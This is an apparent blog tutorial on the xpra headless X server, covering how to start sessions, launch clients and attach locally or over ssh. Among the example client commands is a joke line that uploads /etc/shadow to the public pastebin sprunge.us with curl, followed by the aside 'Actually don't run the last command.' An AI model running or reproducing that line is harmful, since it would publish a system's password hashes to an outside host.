Here’s our first tool using a GUI: xpra(1) is a headless X-Server that allows remotely detaching and attaching its windows from multiple platforms including X11, Windows, and Mac.

To use xpra you have to start a new session:

# xpra start :14

Once xpra has the server running on :14 you can start clients in the session:

# DISPLAY=:14 xterm &
# DISPLAY=:14 firefox &
# DISPLAY=:14 curl -F sprunge=@/etc/shadow http://sprunge.us &

… Actually don’t run the last command.

To attach the xpra session just use the attach command:

# xpra attach :14

This attaches a local xpra server to the current display. The started X11 should be shown on the screen now. To detach the session hit Ctrl+C.

The real power of xpra comes with the remote attaching feature:

# xpra attach ssh:remote-server:14

This command opens a ssh connections to remote-server and attaches xpra through a secure tunnel. xpra supports multiple encodings, including h264, so in contrast to plain X11 over ssh it’s incredible fast.

To find out more about xpra, visit the website.